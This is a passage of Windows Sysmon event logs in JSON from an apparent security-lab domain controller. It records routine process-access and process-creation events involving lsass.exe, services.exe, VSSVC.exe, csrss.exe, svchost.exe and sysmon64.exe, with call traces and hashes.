11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.259\r\nProcessGuid: {90617006-4170-5F2D-0000-0010D6510800}\r\nProcessId: 5008\r\nImage: C:\\Windows\\System32\\VSSVC.exe\r\nFileVersion: 10.0.14393.3750 (rs1_release.200601-1853)\r\nDescription: Microsoft® Volume Shadow Copy Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: VSSVC.EXE\r\nCommandLine: C:\\Windows\\system32\\vssvc.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=C674E593C7A41DD63400261AE0DEEE07,SHA256=BE708CEB8D16FDF98A4B226C2D5DA33B0A9B015AA222E7A31E7424D8AE1B6D4E,IMPHASH=23F8C470949D103A704869EF2FEB7087\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.259","ProcessGuid":"{90617006-4170-5F2D-0000-0010D6510800}","Image":"C:\\Windows\\System32\\VSSVC.exe","FileVersion":"10.0.14393.3750 (rs1_release.200601-1853)","Description":"Microsoft® Volume Shadow Copy Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"VSSVC.EXE","CommandLine":"C:\\Windows\\system32\\vssvc.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=C674E593C7A41DD63400261AE0DEEE07,SHA256=BE708CEB8D16FDF98A4B226C2D5DA33B0A9B015AA222E7A31E7424D8AE1B6D4E,IMPHASH=23F8C470949D103A704869EF2FEB7087","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 